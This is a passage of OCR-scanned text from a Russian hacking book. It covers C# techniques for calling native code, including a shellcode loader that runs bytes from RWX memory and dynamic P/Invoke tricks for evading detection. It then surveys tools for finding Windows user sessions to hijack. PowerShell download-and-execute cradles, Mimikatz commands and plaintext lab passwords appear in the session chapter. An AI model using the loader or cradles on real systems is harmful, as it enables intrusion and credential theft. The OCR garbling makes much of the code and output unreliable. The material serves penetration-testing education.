IntPtr pinfo = IntPtr.Zero;
(до боли
Глава
12.
Ищем способы обращения к нативному коду из С#
hThread = CreateThread(0, О, funcAddr, pinfo,
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
О,
ref threadid);
#region pinvokes
[Dllimport (" kernel32. dll") ]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);
[Dllimport ("kernel32. dll") ]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadid);
[Dllimport ("kernel32. dll")]
private static extern uint WaitForSingleObject(
IntPtr hНandle,
uint dwMilliseconds);
puЬlic
enum StateEnum
(
МЕМ_СОММIТ = 0xl000,
MEM_RESERVE = Ох2000,
МЕМ FREE = 0xl0000
puЬlic
enum Protection
PAGE_REAOONLY = Ох02,
PAGE_READWRITE = Ох04,
PAGE_EXECUTE = 0xl0,
PAGE_EXECUTE_READ = Ох20,
PAGE_EXECUTE_READWRITE = Ох40,
#endregion
С динамическим
Plnvoke
программа выглядела бы вот так:
//original runner Ьу @Arno0x:
shellcodeLauncher.cs
https://githuЬ.com/Arno0x/CSharpScripts/ЬloЬ/master/
231
232
Часть//. Системное программирование для хакеров
using
using
using
using
System;
System.Runtime.InteropServices;
System.Reflection;
System.Reflection.Emit;
namespace ShellcodeLoader
class Program
static void Main(string[] args)
byte[] x64shellcode = new byte[294] (0xfc,0x48, ... );
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(uint)x64shellcode.Length,
(uint)StateEnum.MEM_COММIT,
(uint)Protection.PAGE- EXECUTE- READWRITE);
Marshal.Copy(x64shellcode, О, (IntPtr) (funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadld = О;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, О, funcAddr, pinfo,
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
puЬlic
О,
ref threadid);
static object DynamicPinvokeBuilder(Type type, string library, string method,
Object[] args, Туре[] paramTypes)
AssemЫyName assemЫyName
= new
AssemЫyName("Temp0l");
AssemЬlyBuilder assemЬlyBuilder
AppDomain.CurrentDomain.DefineDynamicAssemЬly(assemЬlyName,
ModuleBuilder moduleBuilder
AssemЬlyBuilderAccess.Run);
= assemЬlyBuilder.DefineDynamicModule("Temp02");
= moduleBuilder.DefinePinvokeMethod(method, library,
MethodAttributes.Static MethodAttributes.Pinvokeimpl,
CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi);
MethodВuilder methodВuilder
MethodAttributes.PuЬlic
I
I
SetimplementationFlags (methodBuilder. GetMethodimplementationFlags () 1
MethodlmplAttributes.PreserveSig);
moduleBuilder.CreateGlobalFunctions();
methodВuilder.
Methodinfo dynamicMethod = moduleBuilder.GetMethod(method);
obJect res = dynamicMethod.Invoke(null, args);
Глава
12.
Ищем способы обращения к нативному коду из С#
233
return res;
puЫic
static IntPtr VirtualAlloc(IntPtr lpAddress, Uint32 dwSize, Uint32
flAllocationType, Uint32 flProtect)
paramTypes = { typeof(IntPtr), typeof(Uint32), typeof(Uint32), typeof(Uint32) );
Object[] args = { lpAddress, dwSize, flAllocationType, flProtect );
object res = DynamicPinvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc",
args, paramTypes);
return (IntPtr)res;
Туре[]
puЫic
static IntPtr CreateThread(Uint32 lpThreadAttributes, Ulnt32 dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, Ulnt32 dwCreationFlags, ref Ulnt32 lpThreadid)
paramTypes = { typeof(Uint32), typeof(Uint32), typeof(IntPtr), typeof(IntPtr),
typeof(Uint32), typeof(Uint32) .MakeByRefType() );
Object[] args = ( lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter,
dwCreationFlags, lpThreadid );
object res = DynamicPinvokeBuilder (typeof (IntPtr), "Kernel32. dll", "CreateThread",
args, paramTypes);
return (lntPtr)res;
Туре[]
puЬlic
static Int32 WaitForSingleObject(IntPtr Handle, Uint32 Wait)
{
paramTypes = { typeof(IntPtr), typeof(Uint32) );
Object[] args = ( Handle, Wait );
object res = DynamicPinvokeBuilder (typeof (Int32), "Kernel32. dll",
"WaitForSingleObject", args, paramTypes);
return (Int32)res;
Туре[]
puЬlic
enum StateEnum
{
МЕМ_СОММIТ
MEМ_RESERVE
МЕМ
puЬlic
= OxlOOO,
= Ох2000,
FREE = OxlOOOO
enum Protection
{
PAGE_READONLY = Ох02,
PAGE_READWRITE = Ох04,
PAGE_EXECUTE = OxlO,
PAGE_EXECUTE_READ = Ох20,
PAGE_EXECUTE_READWRITE = Ох40,
Часть
234
//.
Системное программирование для хакеров
То есть, как и в случае с обычной сигнатурой
Platform Invoke,
указываем имя функ
ции (можно поменять), возвращаемые значения, принимаемые типы аргументов.
При передаче потока управления этой функции произойдет динамическое создание
необходимой сигнатуры и вызов метода.
Еще один РоС можно найти в репозитории bohops (https://github.com/Ьohops/
DynamicDotNet/tree/main/dynamic_pinvoke). Тем не менее Dynamic Plnvoke мож
но обнаружить через .NET Introspection, ведь в подобной реализации для каждой
функции из неуправляемого кода создается новая сборка, что можно считать ано
мальным поведением. Это особенно заметно, когда названия сборок одинаковые
или состоят из случайных символов (рис.
12.5).
ConsoleApp1 .e)(e (6328) Properties
.нет
perfonnara
~
Stlltlltla
~
Stndul'8
V Q.R ,;4,0.30319,0
v AppOomlin: c.on.olt,Appl,eu
GPU
nn.c:ts
Token
Oilk and Netwolt,
~
м.nio,y
~
Pllth
10 Algs
6 CONCUМ!NТ_GC, М ... "C:\Usn\lldmln\loul'C'Al\repos~
26771... Dlf8ut, &8Quble
Temp01
Temp01
1i
1
Рис.
12.5. .NET lntrospection
в
Process Hacker 2
Hashlnvoke
Наконец, последний метод. Он чем-то похож на
Parasite Invoke.
Просто нацелен на
меньшее число сборок. Я бы даже сказал, что только на mscorlib. В этой реализации
идет перебор имен всех доступных методов и типов из mscor lib с применением
к ним функции хеширования. Для вызова метода достаточно обратиться к нему по
хешу. Эдакий
API Hashing,
но в контексте сборок С#.
Например, из класса Microsoft. Win32. Win32Nati ve можно обращаться к стандартным
методам
GetModuleHandle ()
или
GetProcAddress ().
var module;
Hinvoke.InvokeMethod<IntPtr>(13239936, 811580934,
new object[] {"kernel32.dll"}); // Microsoft.Win32.Win32Native.GetModuleHandle
var address;
Hinvoke.InvokeMethod<IntPtr>(13239936, 1721745356,
new object[] {module, "IsDebuggerPresent"}); //
Microsoft.Win32.Win32Native.GetProcAddress
if ( ((delegate* unmanaged[Stdcall]<bool>) address) ())
Console.WriteLine("Hey meanie I said no debugging :с");
Внутри функции идет уже знакомая нам по
Parasite Invoke
подготовка всех пара
метров, после чего происходит обращение к methodinfo. Invoke () (рис.
12.6).
Глава
12.
Ищем способы обращения к нативному коду из С#
Рис.
12.6.
Рос в деле
235
Часть
236
11.
Системное программирование для хакеров
К слову, с исходным кодом можно ознакомиться (Ьttps://gist.gitbub.com/dr4k0oia/
95bd2dc1cc09726f4aaaf'920b9982f'9d)
даже
полноценные
лоадеры,
в репозитории
которые
dr4k0nia.
используют
этот
Кстати, существуют
механизм.
Например,
Nixlmports (bttps://gitbub.com/dr4k0nia/Nixlmports).
Заключение
Теперь перед нами не устоит ни одна WinАРl-функция! Мы сможем вызвать лю
бую, невзирая на возможные ограничения платформы
.NET.
Эта глава- очередная
демонстрация того, что при написании инструментов наступательной безопасности
следует очень много искать,
строить гипотезы
рить. «Шаманить над рецептом»,
-
и творить, творить и
еще раз тво
сказал бы я, будь у нас кулинарный блоr.
ГЛАВА
13
Как работает угон
пользовательских сессий в
Windows
Как часто вы видите заветную сессию доменного администратора на дырявой
«семерке»? Его учетная запись так и просится в руки злоумышленника или пенте
стера, и дальше она поможет захватить всю сетку. Однако злой антивирус ни в ка
кую не дает сдампить
LSASS.
Что пентестеру делать в таком случае? Как получить
сессию пользователя, обойдя все защитные средства?
В
Windows
при входе пользователя в систему ему назначается собственная сессия.
Глубоко-глубоко внутри процесса lsass.exe хранится сопоставление между сессией
и учетными данными пользователя. При попытке пройти аутентификацию на сто
роннем хаете, ресурсе или службе
LSA
получает идентификатор конкретной сес
сии, обнаруживает связь между сессией и конкретными учетными данными, после
чего проводит аутентификацию.
Подробно механизм аутентификации пользователей, принцип работы
структуру сессий мы изучали в главе
7.
LSA
и общую
Сейчас же предлагаю познакомиться с ме
ханизмом кражи сессий.
Если вкратце: почти все способы кражи сессий позволяют немножко злоупотребить
механизмом
сопоставления
сессии
и
учетных данных
и
начать
исполнять
какие
нибудь нелеrитимные действия от лица пользователя, на чью сессию мы можем
воздействовать (рис.
13. l ).
Поиск сессий пользователей
Первым делом нам нужно найти компьютер, на котором могут лежать интересные
сессии пользователей. Здесь мы можем на выбор использовать:
□ функции
WinAPI,
которые позволяют перечислять сессии на устройстве;
□ поведение системы
-
например, можем смотреть, появляются ли определенные
артефакты, которые свидетельствуют о наличии сессии пользователя на хаете;
□ особенности АО, которые помогут нам раскрыть списки пользователей на хаете.
Часть
238
Рис.
13.1.
11.
Системное программирование для хакеров
Общий концепт кражи сессии
WinAPI
Начнем с самого простого варианта
-
WinAPI.
Здесь много полезных нам функ
ций. Я выделю эти:
□ NetSessionEnwn (J
(https://learn.microsoft.com/ru-ru/windows/win32/api/lmshare/
nf-lmshare-netsessionenum );
□ NetWkstaUserEnwn ( J
(https://learn.microsoft.com/ru-ru/windows/win32/api/lmwksta/
nf-lmwksta-netwkstauseren um );
□
WinStationEnwneratew () (https://github.com/processbacker/processbacker/
bloЬ/master/phnt/include/winsta.h).
Начнем с первой. У нее много аргументов, которые неплохо документированы
в
MSDN.
NET- API - STATUS NET - API - FUNCTION NetSessionEnwn(
[in]
LMSTR servername,
[in]
LMSTR UncClientName,
LMSTR username,
[in]
[in]
DWORD level,
LPBYTE *bufptr,
[out]
[in]
DWORD prefmaxlen,
LPDWORD entriesread,
[out]
LPDWORD totalentries,
[out]
[in, out] LPDWORD reswne handle
);
Глава
13.
Как работает угон пользовательских сессий в
Единственное, на что нам стоит обратить внимание,
239
Windows
-
первый параметр, он как раз
таки и отвечает за компьютер, с которого будет получена информация о сессиях.
Причем существует аналог этой функции, но поверх RPC -NetrSessionEnum () (https://
learn.microsoft.com/en-us/openspecs/windows_protoco ls/ms-srvs/02blf559-fda24ba3-94c2-806eЫ777183).
С использованием этого метода работает большинство инструментов для обнару
жения сессий пользователя. Например, если мы работаем с хоста на Linux, то мож
но
воспользоваться скриптом netview.py (https://github.com/fortra/impacket/ЫoЫ
master/examples/netview.py). Вот, кстати, вызов метода NetrSessionEnum () : https://
gi th u b.com/fortra/im packet/ЫoЬ/master/exam ples/netview. py#L297.
net·,iew. ру
pyth onЗ
OOМAIN/Administra t or: lolkekc heЫ23 1
это устройство, с которого следует собирать информацию
Параметр -target о сессиях (рис .
г-< root'Э
-target 10 .10 .10 .10
13 .2).
ka 1 i
-/_/ad/too1.s/impacket/examp1.es
CRINGE/Administrator: lo1kekcheЫ23 ! targPt 192 .168. 116 .129
Impacket v0.10.1.dev1~20 230524.180921.8b3f9eff - Copyright 2022 Fortra
L # pythonЗ netview.py
[•] Importing targets
[•] Got 1 machines
192.168.116.129: user WIN10DEV\Admin logged in LOCALLY
192.168 . 116.129: user CRINGE\WIN10DEV$ logged in LOCALLY
1
Рис.
13.2.
Пример использования
Инструмент имеет более инвазивные функции: с его помощью можно отслеживать
сессии по всему домену. В таком случае список пользователей, которых ищем, ука
зываем через -users (рис.
1
---11
13 .3 ).
( root$ kal i J - Г -/-/ad/too1.s/i11packet/exa11p1.es
cat users. txt
WIN10DEV\Admin
с: ( root~ kali
1
_
-/-/ad/tool.s/impacket/examp1.es
# pythonз netview.py CRINGE/Administrator:lolkekcheЫ23! -use rs users.txt
Impacket v0.10.1.dev1~20230524.180921.8b3f9eff - Copyright 2022
Foгtra
[*] Importing taгgets
[•] Getting machine's list fгom CRINGE
[•] Looking up users in domain CRINGE
[•] Got 2 machines
1
Рис.
13.3.
Поиск сессии по всему домену
Чуть более урезанные возможности
-
у netexec. Получить список пользователей
через него можно, указав флаг --loggedon-users (https://github.com/Pennyw0rth/
NetE хес/ЫоЬ/99d4е49ас 1с395200601dacfd6901244370Ь l 4ce/nxc/protocols/sm Ь. ру#
Lll84, рис. 13.4).
nxc
smЬ
10 . 10 . 10.10/24 -u admin
-р
admin --l oggedon-users
Часть
240
11.
Системное программирование для хакеров
-iroot·f,.,if1
:..._:1 11~. Sllb 192.168.1)1.139
sма
192 , 1Бs.н?.1З9
1,1,s
ocet
(•) Windows 18 / Ser11er 2019 Bu il.d 17763
~trn~t€wi.f1,·
,
--t.: nxt s11b 192.168. 131.139 -u Ад."'-11н11сrраr о р
5Ма
192,168 ,1 37.139 t,t.S
DCCl
SМ8
192.168.137,139 HS
DCl!l
511\В
192,168 .137. 139 t.t,S
DCi!l
-sessions
('"') Wi ndOIWS 18 I Ser11er 2819 Bu il d 17763
f•J
(SМvl:f~\se)
11.М
(na.l.' :OC&l) (d08ain:vostok.st r eet) { si1ninJ:Tru•} (5'8v1:f~\se)
(Pwn]d ')
11ostok .s tre@t \M••н11cтp aтop:lol kek c heb 12 3!
{,. J En\Derated sessions
(root~,wif1' ( .. 1
• nxc s"ь 192.168.137.139 -u ~н11 с трат ор
192. 168 . 137.139 t.t,S
ОС81
192,HHS.137 ,139 44S
DC91
192,168 . 137,139 1,1,5
DC0l
Slii&
SJi\8
192 .168, 137 .1 39 t.4S
DC0l
SMI
19 2 . lбе . 137 .139 t.t.5
DC01
-р l o l k@kche Ы23!
--1ogg@don-usero;
(•) Wind o.rs l t / S@r11 er 2Ul9 Bu i ld 17763 :ir.6• (naae :OC8 1) (do■ain:vostok.street) (ti!!lning:True) {5'8v1:Fats• )
(+J vostok,street\ДД.мн•opaтop :l.o1 kek c he Ы2J• (P'li:"Зd•)
(+J Enuaer,1ted lo g:g1►. d_on us@rs
VOSТOК\OC.•1S
\O!!IOn_иn,er:
УОSТОl(\АА,.мн11стр.атор
\og:on_seneer: 0Cf1
Рис.
BloodHound
{11.r,llf! :DCtl ) { doa.itn:vos.tok .st rl!l!- t) (si!(ning:Tru•)
-р l ol kekcht>Ы2J!
~
5"'8
Наконец,
11.М
13.4.
Пример использования
собирает информацию о сессиях точно таким же образом.
Впрочем, если мы работаем с
Windows,
то описанные выше варианты непримени
мы. Поэтому можно посмотреть в сторону
LOLBAS.
Например, net (рис.
13.5).
net session [\ \compname] [/list]
Либо quser.
quser.exe /server:dcOl.office.corp
# Аналог 1 в 1
qwinsta.exe /server:dcOl.office.corp
# Аналог 1 в 1, часть 2 :)
query.exe user /server:WlO.ad.bitsadmin.com
:\Users\Aдминиcтpaтop>quser
1~
ПОЛЬЗОВАТЕЛЬ
СЕАНС
ID
console
>администратор
:\Usеrs\Админист ато
1
СТАТУС
БЕЗДЕЙСТВ.
Активно
ВРЕНЯ ВХОДА
отсутствует
>
Рис.
13.5.
Изучение с системы
Windows
Еще существует подписанный Microsoft инструмент PsLoggedon
(https://devhops.ru/windows/network/pstools/, рис. 13.6).
psloggedon \\dcOl
Psloggedon vl.35 - See who's logged оп
Copyright (С) 2000 - 2016 Mark Russinovich
Sysinter11als - www.sysinternals.com
Users logged оп locally:
3/20/2020 1:44:30 РМ
3/24/2020 2:28:50 РМ
Domain\user9173182
Domain\user9273579
Users logged оп via resource shares:
3/24/2020 5:24:23 РМ
Domain\user9373579
Рис.
13.6.
Использование легитимного бинаря
23.09.2024 13:31
Глава
13.
Как работает угон пользовательских сессий в
Наконец, есть полноценные фреймворки на
241
Windows
PowerShell,
например Get-Usersess i on2. ps l
(https://github.comNossiSassi/Get-UseгSession2/ЫoЬ/main/Get-UseгSession2.psl),
BOF
для
Cobalt Strike Get-NetSession
(https://github.com/tгustedsec/CS-Situational
Awaгeness-BOF/tгee/masteг/sгc/SA/get-netsession) и , конечно же , всеми любимый
Invo ke- UserHunte r из пакета PowerView.
Invoke- Use rHunter -GroupName "Domain Admi ns "
Invo ke-UserHunter -CheckAccess # Проверить админи стра тивный дос туп
I nvo ke-Use rHunter -Domain "dev. corp" -UserName admin # Найти, где сей час
н аходи тся такой-то
юзер
#
Есть фла г
- Steal th,
ко торый уме ньшае т шан сы н а ус п е х,
н о провер яет лишь машины с высокой
це нн ос тью
Если же вызов
Net Sess i onEnum() заблокирован или по какой-то иной причине не сра
батывает, то можно поискать альтернативы . Например, get l oggedoп . py
github.com/cham423/aa63b9cbc2961cef43c32b319100bffa,
pyt hon getloggedon. py
рис .
(https://gist.
13. 7).
VOSTO K /dcom:l o lkekcheЫ 23\ 1 @ 1 92. 1 68. 1 37. 1 39
root~IJ.'ifi
~-t: ;; , , ,-. - • getl.oggedon.py VOSTOK/dcom: lolkekcheЫ23\ !о)192 .168.137 .139
[•] Impacket v0.12.0.devl - Copyright 2023 Fortra
[•] Enumerating users logged in at 192.168.137.139
VОSТОК\Администратор
Рис .
Собственно, вызов с системы
Get-NetLoggedon -ComputerName
13.7.
Пример перечисления сессий
Windows
можно сделать через
PowerView (рис . 13 .8).
НОМЕ-РС
# Сбор сразу со всех комп ьютеров в доме не
Get-DomainComputer I Get -NetLoggedon
Наконец, пришла очередь WinStati oпEnumerateW ()
на
Python,
. Я не видел вариантов этого вы зова
есть на С++ с подробным разбором от автора:
https://0xvln.github.io/
https://github.com/
posts/sessionenumeгation/. РоС можно найти в его репозитории:
0xv 1n/RemoteSession Enum/ЫoЬ/main/main.cpp .
Реестр
Этот способ обнаружения сессий пользователя основывается на том , что при лого
не юзера создается ветка в нксu _USERS. Так можно обнаруживать новых пользов ате
лей в системе. Конечно, в ход могут пойти стандартные утилиты
reg. ехе и reg. ру
(https://github.com/foгtгa/impacket/ЫoЬ/masteг/examples/гeg.py), но мастера давн о
создали полноценные инструменты .
Дr~я
Windows есть lnvoke-SessionHunter (https://github.com/Leo4j/lnvoke-Session
13 .9).
Hunteг, рис .
I nvo ke-Sessio пНun ter
Часть
242
·s
С : \ ll s еrs \ Ад,4инистратор>
·s
·ер
Системное программирование для хакеров
bypass
Powe rShell
!i ndO\.'/S
С)
poweгshell
11.
К орпорация /lай,рософт
(llicrosoH Corporation).
С : \U sе r s \Ад,,инистратор>
01-tа ндл е т
кажи rе
Все права защищены.
iex (iwr )
Invoke · \-lebRequest в конвейере команд в позиции 1
з на че ния
для
следующих
параметров:
1ri : https:// raw . githubusercontent.com/PowerShell/lafia/PowerSploit/refs/heads/master/Rec on/PowerView.psl
·s С : \ IJ se ,-s \ Ад,,инис тратор> get- netloggedon
ise ,~r-lam e
ogonDomain
Администратор
VOSTOK
ut hOo main s
,Jgon Server
omput e rName
ise ,~Name
ogonDomain
uthDomain s
ogon Server
DC01
localhost
DC01$
VOSTOK
omputerName
localhost
ls e,~Name
DC01$
VOSTOK
ogonDomain
.uthDomain s
ogonServer
omputert-Jame
localhost
1s e1~Name
DC01$
VOSTOK
ogonDomain
,uthDomain s
ogonSe rver
omput e rName
is erName
ogonOomain
localhost
. / ~,..
DC01$
VOSTOK
; .
,uthDomain s
ogonSe rver
omputerName
localhost
ise r~lame
DC01$
VOSTOK
ogonDornain
.uthDomain s
o g o n Se гver
ornput e гName
localhost
Рис.
Р<.,
13.8.
Вывод
PowerView
( : \ IJ ч• r s \ Адмннн с тратор > i ex (new - object net .webclient) .downloadstring( ' https: / /raw. githubusercontent. com/Leo4j/Ir:ivoke, ,r>!kmt ,.'1 .р:;1' )
Р ",
(: \ U <~оrгs.\ Адми н истратор> i nvol(e - sess ionhunter
[ • ] Out put :-. 11 ved to : С: \Users\Aдминнcтpaтop\SessionHunter. txt
(•1 flap sed t i me: 0:0 : 0 . 280
Р'-. ( : \ LJ .-.ег,;; \ДДмини с тратор >
Rdn d">
I J -;e г :
cat . \SessionHunter. txt
vоstоk:\адмннистратор
mai r1: VOS TOK
Ran оп ~-lost: ОС01. VOSTOK
a t e and Ti me : 2 3 . 09.2024 14:52: 26
El ap s.ed time: 0 : 0 : 0 . 280
PS {: \ IJ s _е г s\дД.м_.. нмстратор > _. _-·--··-----
Рис .
13.9. lnvoke-SessionHunter
А
также
модуль
LoggedOn инструмента SharpHound (https://github.com/
BloodHoundAD/SharpHound). В Linux можно использовать питоновский скрипт
Loggecton.py (https://gist.github.com/Geisericll/6849bc86620c7a764d88502df5187bd0,
рис. 13.10).
python loggedon.py
VOSTOK /dcom: l olkekcheЫ23\ 1 @19 2.16 8 . l37 . 139
Глава
13.
Как работает угон пользовательских сессий в
г--i
243
Windows
root~Jw1 f-i
\oggedon.py VOSTOK/dcom:lolkekcheЫ23\!ii)192 . 1б8.137.139
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
- 11 pytho:
[!] Cannot check RemoteRegistry status. Hoping it is started ...
[ ! ] Trying to start the Remote Registry ...
[*] User VОSТОК\Администратор is logged оп: 192.168.137.139
Рис.
Через
13.10. Использование LoggedOn.py
SCCM
SCCM (который не всегда развернут в AD!) есть интересная фича, которая назы
вается Primary User. Она позволяет отслеживать, какие пользователи какие машины
В
используют. Так что мы можем устроить настоящую охоту! Однако для использо
вания нужно пробить SССМ-сервер .
Например , можно провести рекон через
Ma\SCCM (https://github.com/nettitude/
MalSCCM, рис. 13 .11 ).
_ 1 / --- 1 / ___ / --- 1 \/ 1
1 \/ 1
1 1\/ 1 1/ _ • 1 \ ___ \ 1 1 1 1 1 1\/ I 1
1 1 1 1 С 1 1 1__ _) 1 1- - 1 1--- 1 1 1 1
I_I I_J\ __ ,_ I_J___ _; \ ____ \ ____I_I I_I
Phil
КееЫе @
Nettitude Red Team
[*] Action: Inspect SCCM Server
Sit eCode : LON
Manag ern en tPoi nt : BLORE - SCCM . Ыorebank . local
[*] Action : Ge t SCCM Prirnary Users
Cornput e r : BLORE -SCCM
User : Ыorebank\ben
Cornpute r : WK- WIN10 - ECHO
User: Ыore b ank\ben
Cornput e r : WK- WIN10 - ECHO
User : Ыorebank\lisa
Рис.
Есть также
SharpSCCM
13.11.
Пример использования
MalSCCM
(https://github.com/Мayyhem/SharpSCCM, рис.
13 .12).
Он
тоже позволяет обнаружить компы, на которых сидит определ енный пользователь .
. \SharpSCCM .exe get primary- users -u Frank.Zapper
Причем поддерживается и обратная операция
-
получение списка пол ьзователей ,
которые ходят на определенный компьютер .
SharpSCCM . exe get primary-users - sms <SMS_PROVIDER> - sc <SITECODE> -d CLIENT --no-banner
Здесь видно, что пользователь
mayyhem\sccmadmin
ходит на
CLIENT.
Часть
244
11.
Системное программирование для хакеров
[ +] Connecting to \ \<SMS_PROVIDER >\root \ 915\site_ < SIТECODE >
[ +] Executing WQL query :· SELECT 3 FROI-\ SMS_User~\ac hineRel ationshi p l~HERE ResourceNan1e= •CLIE NT •
915_ Us erMachi neRe lat ionsh ip
CreationTime: 20230828055956.247000+000
IsActive: True
RelationshipResourceID: 25165826
ResourceClientType: 1
ResourceID: 16777219
ResourceName: CLIENT
Sources: 4, 9
Types:
UniqueUserName: mayyhem\sccmadmin
[+] Completed execution in 00:00 :00.4523001
Рис.
13.12.
Использование
SharpSCCM
Через RDР-сессии
Этот вариант поиска сессий пользователей сработает, если в сети предприятия ак
тивно используется
RDP.
В таком случае в
Linux
удобно дергать тулзу tstool.py
(https://github.comffhePorgs/impacket/ЫoЬ/9aa93730ccb355a7ef8e9295c974460610
ae798Ыexamples/tstool.py, рис.
руthопЗ
tstool.py
--з.t Еш:
13 .13).
CRINGE/Administrator:lolkekcheЫ23\!@192.168.116.129
qwinsta
-/-/ad/too1s/impacket/examp1es
tstool.py CRINGE/Adm1nistrator:lolkekcheЫ23\!шl92.168.llб .129 qwinsta
Impacket v0.10.l.devl ~2 02305 24. 180921 . 8b3f9eff - Copyright 2022 Fort ra
SESSIONNAМE
U SERNAМ E
Services
Console
WIN10DEV\ Admi n
ID
SТАТЕ
Oesktop
ConnectТime
0
Disconnected
Act ive
Unlocked
None
2023 / 06 / 03
1
Рис.
А в
Windows
13.13.
Использование
нам поможет любимый
Mimikatz
DisconnectTi me
11: s2 :з б
None
None
tstool.py
с его модулем ts:: sessions
(https://
gitbub.com/gentilkiwi/mimikatz/ЫoЬ/master/mimikatz/modules/kuЫ_m_ts.c#LS7).
mimikatz.exe "ts:
:sessioпs /server:WlO.ad.Ьitsadmin.com"
exit
Логи
Не стоит игнорировать и файлы логов, ведь при входе любого пользователя гене
рируется много интересных событий. Именно этот способ можно считать наиболее
тихим вариантом поиска сессий пользователей.
Я выделил событие
4624
(рис.
13 .14) -
An account was successfully logged
оп, оно
генерируется на хаете, на который зашел пользователь. При аутентификации, на-
Глава
13.
Как работает угон пользовательских сессий в
пример через
на контроллере домена будет событие
Kerberos,
245
Windows
4624,
но источником
будет считаться тот хает, на котором проходила аутентификация. В таком случае
перед нами следствие запроса, а не факт аутентификации. Также в этом событии
зачастую содержится IР-адрес устройства, с которого запрашивалась аутентифика-.
ция.
мnt ~
s...;ect:
х
· Ev..,t -46Ц Mlaoюft Wlr>doм и,;urity~
'
SюdylO:
МТЕМ
A«11unt №rne:
WIN-GG821AGC9GOS
A«ovnt Oom1in:
l.og!ln 10:
o.m
WOЯ,CGP.OUP
'-"90" lnlonnllion:
2
LogonType:
~Admin~
Virt\NI дc~ount:
No
Eie,,.tedToцru
УС$
lm~~
l"'flCIIO"ftion
Newt.o,on:
S«,nylO:
CONТOSO\Adminktmor
Ac(ovntN,mc::
A«ount Oomlin:
Admini,w,._or
wt-1-GG82ULGC9GO
o.sococ
tдgonl():
linЬdLogonlO:
0d)
~дщ,,,.,tн,,nс
~ д«О\811 Dcmlin:
•
!дgon G\111):
~~
(!]
(!j
l'ro(cs$~
а.А4с
C,\Wi~\Systcm3Z\мh~
ProcнslD:
Proc=Nlmc:
NctwQrt lnfQffllfhcln,
"Wodl:stlltion Nм!ti
wt-1-GG82ULGC9GO
5our(c Nctwoit Adclra$C t27.Q.0.I
О
Sourc"'Pott:
Dmilfd Autмntk.tion lnfonnмiot,:
~2
!дgon Рrосси:
Nt,gotill"'
~PмЬgti
T11!1iitcc1Scм(
РкЬg!! ~ (NТ1М Of\t;'}.
о ·
K~Lcnglh
Log№me:
V
S«\Jfity
l1/11/201S4<2&,3SPM
~
Тait Cetegoiy. l.og!ln
Sou,cc
Мкrosoft Windows иc;1.1rity
Evt111.►•
-462-4
l~
lhtr.
ll'lfonnllJon
~
AuditSuccm
N/A
lnfo
COmpllttr.
Wl~LGC9GO
OpCode
Мсw WCМ'lltlo1>:
Еха11
LS18 Q:olioc 1:1а1
Сору
Рис.
13.14.
Как выглядит событие
4624
246
Часть
11.
Системное программирование для хакеров
Для анализа события можно накидать небольшой скрипт на
PowerShell.
Например,
пусть мы хотим определить, на какие машины пользователь «Администратор» хо
дил в последний раз. В таком случае нам поможет событие
4624
и атрибут LastLogon,
по которому будем делать фильтрацию, чтобы не анализировать все события
4624
на хаете.
param(
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[Parameter(Mandatory=$true)]
[string]$UserName
try
Import-Module ActiveDirectory
$user = Get-ADUser -Identity $UserName -Properties "lastLogonTimestamp"
$lastLogonDate = [DateTime]: :FromFileTime($user.lastLogonTimestamp)
$startDate = $lastLogonDate.Date
$endDate = $lastLogonDate.AddDays(l) .Date
$filterHashtaЫe
= @{
LogName = "Security"
ID = 4624
StartTime = $startDate
EndTime = $endDate
$events = Get-WinEvent -ComputerName $ComputerName
-FilterHashtaЫe $filterHashtaЫe
foreach ($event in $events) {
$xmlEvent = [xml]$event.ToXml()
$targetUserSid
($xmlEvent.Event.EventData.Data I Where-Object { $_.Name -eq
'TargetUserSid' }) . '#text'
$targetUserName = ($xmlEvent.Event.EventData.Data Where-ObJect { $_.Name -eq
'TargetUserName' }) . '#text'
=
I
if (-not [string]: :IsNullOrEmpty($UserName) -and $UserName -ne $targetUserName)
continue
$targetDomainName = ($xmlEvent.Event.EventData.Data
$logonType = ($xmlEvent.Event.EventData.Data
$ipAddress = ($xmlEvent.Event.EventData.Data
j
Where-Object { $_.Name -eq
'TargetDomainName' )1. '#text'
Where-Object
{ $_.Name -eq 'LogonType' )1. '#text'
Where-Object { $_.Name -eq
'IpAddress' )1. '#text'
I
Глава
13.
Как работает угон пользовательских сессий в
Write-Host
Write-Host
Write-Hos t
Write-Host
Write-Host
Wr ite-Host
247
Windows
"SID User: $ta rgetUserSid"
"Username: $targetUserName"
"Domain: $targetDomainName"
"Logon Туре: $logonType"
"IP Address: $ipAddress"
"----------
catch
Wr i te-Error "Er ro r: $"
Использование:
Администратор
.\script.psl -ComputerName dcOl -UserName
□
ComputerName -
□
UserName -
имя компьютера, с которого тащим логи;
имя пользователя, чью сессию ищем.
Вариант на С# разработал наш китайский коллега. РоС вы найдете в его репозито
рии:
https://github.com/evilashz/SharpADUserIP.
Следующим обращу ваше внимание на событие
при выдаче билета
З•nроwен
61111n nро•~•и
4 768
(рис.
13. 15).
Оно появляется
TGT.
подлинности Kerberos(ТG1).
Сведения об учетно~ яnмсм:
Имя учnной яnисм:
П~оставленное и ... с~ры:
ОСО1 S
CRINGE.LAB
CRINGE\DC01S
И.Дентифи1t1тор ПOЛЬIOIITVUI:
Сведения о спужбе:
Имя спуж6ы:
Кодспужбьr.
krЫgt
CRINGE\krЫgt
Саеденмя о сети:
AN,ec l</IИetm:
::1
Порт 1U1мент1:
о
Доnолнктель н ые с1едtни.я:
Параметры
Ох40810010
61111na:
Код ре>ультота:
ОхО
Тип шифрования бмлnа: Ох12
Тип прwаритv,ьной проверки nоД11инностм:
2
Саедени• о сертификате:
ИМА пост11щиu сертифмкп1:
Серийный номер сертификат~
Отпечаток сертифи11::ат1 :
